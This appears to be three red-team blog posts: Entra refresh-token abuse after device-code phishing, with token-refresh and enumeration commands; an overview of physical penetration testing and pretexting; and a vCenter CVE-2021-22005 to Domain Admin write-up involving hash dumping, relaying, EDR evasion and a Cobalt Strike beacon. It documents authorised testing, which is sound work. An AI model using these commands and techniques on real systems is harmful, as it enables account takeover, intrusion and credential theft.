Not All Tokens Are Created Equal

Entra tokens are authentication tokens issued by Microsoft Entra to enable secure access to Microsoft 365 services and other resources. These tokens are crucial in user and application authentication, allowing access to resources like Microsoft Teams, OneDrive, and SharePoint. Because of the access they grant, Entra tokens have become a desirable target for malicious attackers.

One way an attacker can get a hold of a token is via phishing, abusing the OAuth2.0 Device Authorisation grant process. This process requests a device code from Microsoft and upon entering the code and authenticating with their EntraID account an attacker can obtain a JWT token.

If a victim falls for this successful phish then its possible to retrieve a bearer token.

Bearer Token

Some key elements to point out in the above bearer token that was obtained through this process are as follows:

1. Access Token: which is the actual JWT token. This token is used to authenticate requests to the specified resource.

2. Refresh Token: Used to obtain a new access token without requiring the user to log in again. This is typically valid for a longer period (up to 90 days) and allows for session continuity.

3. _ClientId: The client application that requested the token.

4. isMRRT: denotes that the refresh token is a Multi-Resource Refresh Token (MRRT), allowing it to be used across multiple resources within the same organisation.

5. Resource: the URL for Microsoft Graph API, indicating where this token can be used.

6. expireIn: Specifies the remaining time in seconds before the token expires.

As stated above these tokens are MRRT (Multi Resource Refresh Tokens) which means they are refresh tokens that can be used to obtain an access token for a resource that can be different from the resource for which the MRRT was obtained in the first place. So why does an attacker want these: Well as mentioned earlier these tokens can be used to access various cloud-based services, including Outlook, SharePoint, OneDrive, and Teams, potentially exposing a wealth of sensitive data AND once an MRRT is obtained, it allows access without the need to re-trigger MFA, even if MFA is required for initial login. Some Nice positives for attackers!

Multiple blogs go into more detail on these Tokens so I'm not going to go into too much detail regarding the actual tokens themselves but I will link other blogs at the end if you want to dive deep. However, it's worth stating that Access tokens are designed to expire after a limited duration, typically around one hour. When an access token expires, the client application must acquire a new one to maintain access to protected resources. To do this, the client can either seek authorisation from the resource owner again or utilise a refresh token to request new access tokens, using the original authorisation as a basis. It's the latter of these that we can abuse once we have a refresh token.

In short: Refresh tokens allow you to obtain Access Tokens for multiple resources.

To accomplish this as an attacker we can use a few tools but most notably are TokentacticsV2, GraphRunner, AADInternals and ROADtools. All linked here:

https://github.com/f-bader/TokenTacticsV2

https://github.com/dirkjanm/ROADtools

https://github.com/Gerenios/AADInternals

https://github.com/dafthack/GraphRunner

Once you have captured a token via your device Code Phishing route you can use these tools to access multiple Microsoft services including Azure CLI, MSGraph, Teams, and Outlook and use enumeration tools like Roadrecon, Azurehound etc. This is how:

RoadRecon

You will have to use tokentactics to refresh to a Graph token with the below:

RefreshTo-GraphToken -refreshToken <0.Aug<SNIP>SWSa> -domain domain.com

Then extract the token

$graphToken.access_token

Use the access token with roadrecon

roadrecon auth --access token <eyJ0hg<SNIP>sh>

Then you can pull data including conditional Access policies

roadrecon gather

roadrecon plugin policies

You can also change the FOCI using roadtx depending on what resource you need access too. For example:

roadtx gettokens --refresh-token "SNIP" -c msteams
roadtx gettokens --refresh-token "SNIP" -c azcli

A list of FOCI client IDs can be found here:

https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv

You can keep refreshing your token with the below:

roadtx gettokens --refresh-token file -c msteams

(Using the 'file' parameter uses .roadtools_auth to pull tokens from to save you pasting string)

AADInternals

You can utilise AADInternals to acquire an access token for your chosen FOCI client

$t = Get-AADIntAccessTokenWithRefreshToken -clientid "d3590ed6-52b3-4102-aeff-aad2292ab01c" -resource "https://graph.microsoft.com" -tenantid "<SNIP>" -refreshtoken "<SNIP>" -savetocache 1 -includerefreshtoken 1

Write-Output $t

Graphrunner

To use the refresh token for graphrunner I do the following

Invoke-RefreshGraphTokens -RefreshToken "<SNIP>" -tenantid "domain.com"

This should write tokens to $tokens with an expiry time

You can view your tokens by checking the $tokens variable

You can also run Invoke-AutoTokenRefresh to refresh them on a regular interval - the default is 5 minutes unless you specify different

Outlook

You can use token tactics to refresh to Outlook tokens which you can pass in a burp request

RefreshTo-OutlookToken -refreshToken <0.Aug<SNIP>SWSa> -domain domain.com

Then extract the tokens

$OutlookToken.access_token
$OutlookToken.refresh_token

Once you have both tokens, open Burpsuite and either create a request using the below or proxy a legitimate request to https://outlook.office.com I have the request saved in a Burp project which I just open when I'm doing this attack.

• Code: will be your refresh token

• id_token: will be your access token

Send the request and you should receive a 302 response.

You can then request in browser and refresh and you should be logged into Outlook.

Azurehound

Azurehound can be run using the graph refresh token

RefreshTo-GraphToken -refreshToken <0.Aug<SNIP>SWSa> -domain domain.com

azurehound -r "0.AVAApQl<SNIP>" list --tenant domain.com -o output.json

Mitigation

You can mitigate this attack by using a Conditional access policy.

Microsoft has detailed how to do this here.

Conclusion

While this technique is not new, I created this blog to both share insights with others and reinforce my own learning. There are excellent resources that delve deeper into this attack, including valuable research from Secureworks. Additionally, Dirk Jan Mollema’s tools and blogs provide brilliant contributions to this area.

https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/

https://github.com/secureworks/family-of-client-ids-research

Understanding the 'Physical' in Red Teaming

Exploring the vast landscape of Red Team training through a simple Google search reveals a plethora of courses and comprehensive documentation, encompassing various aspects of Red Team engagements. These resources typically delve into the intricacies of cybersecurity, penetration testing, and simulated attacks on digital infrastructures. However, amidst this wealth of information, one noticeable gap often exists—the scarcity of training materials that focus on the 'Physical' dimension of Red Teaming.

Addressing physical vulnerabilities is essential for organisations seeking a comprehensive understanding of their overall risk landscape. A successful Red Team must be capable of simulating not only cyber threats but also real-world, physical breaches that could compromise an organisation's security posture.

Nevertheless, recognising and addressing this gap is essential for producing well-rounded Red Team professionals who can assess and fortify an organisation's defenses comprehensively.

What is Physical Penetration Testing?

Physical penetration testing, also known as physical security testing or red teaming, is a type of security assessment that focuses on evaluating the effectiveness of an organisation's physical security measures. Unlike traditional penetration testing, which primarily examines digital systems and networks, physical penetration testing involves testing the physical security controls that protect a company's premises, assets, and personnel.

Considerations

Doing and physical testing requires a thorough pre-engagement phase often done as part of a larger Red Team pre-engagement. This phase in my opinon is the most important phase as you need to identify the needs and objectives of the organisation. Some aspects you need to cover in this phase are:

1. Scoping

2. Rules of engagement

3. Cost

4. Duration

5. Threat Profile/planning

6. Authorisation

Planning and executing a Red Team engagement involves several crucial considerations beyond the scope of the above list. It requires a meticulous approach, with an emphasis on identifying specific goals and objectives that align with the organisation's security concerns. Taking the time to define these goals is paramount, as it sets the foundation for a focused and effective Red Team exercise.

During this phase you will be able to understand the risks an organisation faces and discuss their cost/duration needs to determine the type of testing you will be able to undertake. Any 'Physical' testing will need to be discussed in depth and explicit authorisation given. A red team could last for a prolonged period of time and could include multiple testers, travel expenses, etc.

Threat Profiling

A threat profile in cybersecurity is a comprehensive analysis of potential risks and vulnerabilities that an organisation may face. It includes identifying and assessing various threats, such as malware, phishing, insider attacks, and other cyber threats, along with understanding the potential impact and likelihood of these threats.

Building a threat profile involves the systematic examination of these aspects related to potential threats, including:

• Adversaries: Identifying and understanding potential adversaries who might target the system, such as hackers, competitors, or even insider threats.

• Attack Vectors: Analyzing the different ways adversaries could potentially exploit vulnerabilities. This includes understanding common attack vectors like phishing, social engineering, malware, and more.

• Tactics, Techniques, and Procedures (TTPs): Examining the specific methods and strategies that adversaries may employ during an attack. This helps in creating realistic scenarios for testing the system's defenses.

By creating a threat profile, red teamers can simulate realistic scenarios based on the identified threats, allowing organisations to assess and improve their security measures effectively. The goal is to provide insights that can help the organisation enhance its overall security posture and resilience against potential cyber threats.

Emulating the threat

Once a threat profile has been established, it's the job of the Red team to emulate the threat against in-scope targets. Depending on the threat you are emulating, it will determine whether Physical Testing is to be carried out. Some potential threat scenarios that would enable Physical Testing could include tailgating, theft, malicious employees, vandalism, etc.

Tradecraft

Each threat identified in the Threat Profiling process comes with its own "Tradecraft", representing the Tactics, Techniques, and Procedures (TTPs) identified and to be simulated. Red Team members typically build and apply their unique tradecraft while also incorporating practices commonly used for covert operations, security services. Often, these practices are drawn from the Intelligence community. Refining these skills over time becomes crucial for determining the success or failure of an engagement. The team you employ to provide your Red Team enagement should be comfortable in knowing and applying this "Tradecraft".

What skills do I need to learn?

These are not in any particular order but I believe you need to be competent in these areas.

1. Social Engineering - I believe this area is significant. Social engineering for 'Physical Testing' involves the ability to confidently navigate conversations, persuade and influence individuals, or elicit information from them. You need to be comfortable looking people in the eye and using deception to obtain what you need or where you need to go. For some, this might prove difficult depending on your social skills.

2. OSINT - Using multiple different sources for information gathering, including online, surveillance (following employees to find their local pub), public records, or even dumpster diving (not had to do this yet!). Gathering as much intel as possible to aid in your breach. This could include floor plans, access badges, entry points, hours of operation, their IT company, their electric company, etc.

3. Tooling - This relates to multiple different areas but some would include, label makers for access cards, RFID Stealers, LockPicks, Dropboxes, USB, Covert Cameras, Comms, WIFI, Keyloggers, etc

4. Props - Disguises, Uniforms, Fake passes. As discussed in more detail below you need to be comfortable putting on steel toe cap boots, hard hats, and wearing clothes covered in building dust or a full business suit with a briefcase. The use of props can often get you around the most robust security. Just google 'Trying to get access anywhere just carrying a ladder' and you will find multiple videos of people doing just that.

5. A little bit of creativity - I put this in as sometimes you need to get creative. In that I mean have a good 'Pretext' or 'Cover Story' of who you are going to be, what you are there for, and what are you going to say. For example - It's summer, maybe you pretend to be there to check the AirCon. You would of course already know the company that they use (maybe there is an inspection sticker on the device), and you would be wearing work gear (service personnel do not usually wear polo and jeans) Hi-viz, boots, hard hat (not brand new just purchased from amazon) dirty these up if you have a friend in the trade ask for an old one, I use my sons as he is an electrician, have a pretext - what are you there to do, who is your boss, have a telephone number ready for them to call your boss (in this case another team member).

How do I learn Physical Penetration Testing?

Unless you are in law enforcement or the military, training for physical engagements can be very costly and often involves bespoke training packages put together by former law enforcement or military professionals.

Engaging in the environment of an active Red Team presents a unique and invaluable opportunity for skill development also, allowing individuals to refine their capabilities through real-world testing, often alongside seasoned and experienced members of the team. This hands-on experience goes beyond theoretical knowledge, offering a practical and immersive learning environment that is instrumental in gaining expertise in the field.

Participating in information security (infosec) conferences, such as the renowned Defcon, can prove to be a valuable asset for individuals seeking to broaden their skills in the field. These conferences go beyond traditional learning settings by offering a dynamic and immersive environment that includes specialised areas or villages dedicated to various aspects of cybersecurity, including Physical Testing and Lockpicking.

Some of the team learning new skills at Defcon

Infosec conferences serve as vibrant hubs for cybersecurity professionals, enthusiasts, and experts to converge, share knowledge, and explore cutting-edge developments in the field.

Social Engineering Village at Defcon

Closing Notes

I trust that this post has provided you with a clear understanding of the fundamental concepts behind Physical Penetration Testing.

Physical Testing may not be suitable for everyone. Some individuals find it challenging to interact with others or experience profuse sweating when tasked with walking into a building alone, assuming a different persona.

If you are new to Physical Testing, develop confidence by engaging in conversations with people in your vicinity. Initiate discussions with strangers and set small challenges for yourself to accomplish. This practice will contribute to building your confidence. Additionally, read books on the subject, including those on Human Hacking, Persuasion, and Influence.

Having previously ran many successful engagements I am always learning and looking for new techniques, while keeping my current skills fresh. I will be attending Defcon 32 with the OmniCyber Security Red Team again this year to hopefully pick up some new skills. I have also recently had the privilege of attending bespoke training with ex-military/law enforcement who specialise in overt and covert methods of entry. This bespoke Physical training included surveillance exercises, anti-surveillance, comms, dress & mannerisms, and cover stories.

As a disclaimer, I strongly advise against practicing any techniques mentioned in this post on any organisation or individual without the full authority to do so. Engaging in such activities could potentially lead to legal repercussions and trouble with the authorities.

If you would like more information on this type of testing or wish to explore how our team can assist you in achieving your objectives, please don't hesitate to contact one of our team members at OmniCyber Security.

Finding Initial Access on a real life Penetration Test

On a recent internal Penetration Test, I was faced with the above scenario and had to work a little harder for Domain Admin. So finding initial access. What do we need to do, as a rule, we will need one of 2 things:

• Something vulnerable

• Credentials

Putting Red team tactics to one side (so that means no phishing etc) one of the above is often our only route to gaining initial access. Basically, we need to steal, sniff, or crack some credentials or we find something vulnerable (a juicy CVE will do nicely) to enable us to get a beacon/session on our initial target.

Often the first thing that comes to mind is responder/mitm6 or some sort of MITM attack to steal creds and relay/crack them. This is often a great step and usually finds some weak passwords, but in this case, the client had been tested multiple times including by ourselves, and had worked hard to push a new password policy. Even with an AWS hashcat instance, these credentials were tough to crack.

Relaying and coercing for credentials also didn't produce any joy. So we are only left with finding something vulnerable.

Enter Vcenter. A version of Vcenter was found that was vulnerable to CVE-2021–22005 which exploits a file upload in VMware vCenter Server’s analytics/telemetry (CEIP) service to write a system crontab and execute shell commands as the root user. Great we can get a shell.

CVE-2021–22005 Root Shell

Gaining access to vCenter as root we can retrieve the data.mdb file which contains certificates that are stored in cleartext and can be used to sign any SAML authentication request for any user including the builtin Administrator. Gaining a root shell allows us to download this file.

Data.mdb file

With this file there is a tool created by horizon3ai found here that allows us to create a cookie for the vCenter ui.

Cookie Created

With this cookie injected into a browser session on the vCenter /ui url we are authenticated onto the vsphere gui administrator.

Once on Vsphere I looked at 2 different scenarios.

• Dump vmdks and mount them locally, grab SYSTEM, SAM, SECURITY, and dump hashes

• Open all VM's to see if any gave me some sort of access

I started with download dumps. This has to be done on VM backups or VMs that have been stopped. Fortunately, there were a few available but the download size was often quite large.

Downloading vmdks

The process involved downloading the vmdk file, using kpartx to create device maps from the VMDK partition tables, mount the partition, copy the SAM, SECURITY and SYSTEM files and then run secretsdump on them. This for me gave me access to some RID 500 accounts hashes and Domain Cached Credentials (DCC) (Pretty slow to crack these!) The RID 500s didnt have any access on the rest of the domain but it was a useful exercise. You can find a great writeup on this here.

I opened every single VM to see if any didn’t need passwords to log in. To my surprise I found one VM that dumped me straight on the desktop with no password prompt. After an initial look around Sophos was found to be running so I wanted to get something running quickly. I set up Responder and ntlmrelay. Using the VM I navigated to my Kali VM, captured, and relayed the hash. This was a privileged account so successfully dumped creds from 2 x Management Servers. Quite a lot of hashes were in here including LSA secrets in cleartext for an account that was configured to start a service. This account was a domain admin.

Always wanting to go the extra mile and I love getting a CobaltStrike Beacon. I wmiexec’d to the Domain Controller. Again Sophos was running. Before dumping any file on disk I ran Hook Detector to see what Windows APIs were being hooked.

Windows APIS hooked

Seems there are a few Windows APIs hooked but a few that are not including NTQueueApcThread. Utilising a little C# I created a process inject executable that downloaded a bin file and injected a payload (my CS Beacon) into memory. After hosting the bin file, uploading, and running the exe I was presented with a High integrity beacon for CobaltStrike. From here a DCSYNC of the krbtgt NTLM/AES hash gave me domain dominance.

I hope you find this writeup helpful.

Feel free to connect with me on linkedin